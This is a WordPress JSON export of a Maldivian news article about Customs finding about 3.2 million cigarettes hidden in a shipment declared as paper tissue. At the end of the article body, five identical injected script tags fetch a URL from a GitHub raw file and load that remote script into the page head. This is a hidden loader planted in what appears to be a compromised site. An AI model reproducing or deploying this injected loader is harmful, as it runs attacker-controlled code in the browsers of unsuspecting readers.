{"id":9710,"date":"2024-06-17T13:14:28","date_gmt":"2024-06-17T08:14:28","guid":{"rendered":"https:\/\/mbt.mv\/?p=9710"},"modified":"2024-06-17T13:14:28","modified_gmt":"2024-06-17T08:14:28","slug":"maldives-customs-launch-probe-on-suspicious-shipment","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=9710","title":{"rendered":"Maldives Customs launch probe on suspicious shipment"},"content":{"rendered":"<p>Maldives Customs Service launch investigation on a suspicious shipment, owing to verifiable intel received to the authority about potential smuggling or contraband activities.<\/p>\n<p>Customs said that the consignee had declared the shipment contained 343 cartons of paper tissue earlier on May 19, 2024.<\/p>\n<p>Upon receiving intel about potential contraband within the shipment, Customs executed a joint operation on June 13, 2024 to inspect the items brought in the shipment.<\/p>\n<p>Customs said besides the 343 cartons of paper tissue declared by the consignee, the shipment contained 200 master cartons of cigarette &#8211; which is a total of 3,199,200 cigarettes.<\/p>\n<p>The authority said it has already launched further investigation into the matter to identify all the culpable parties involved.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives Customs Service launch investigation on a suspicious shipment, owing to verifiable intel received to the authority about potential smuggling or contraband activities. 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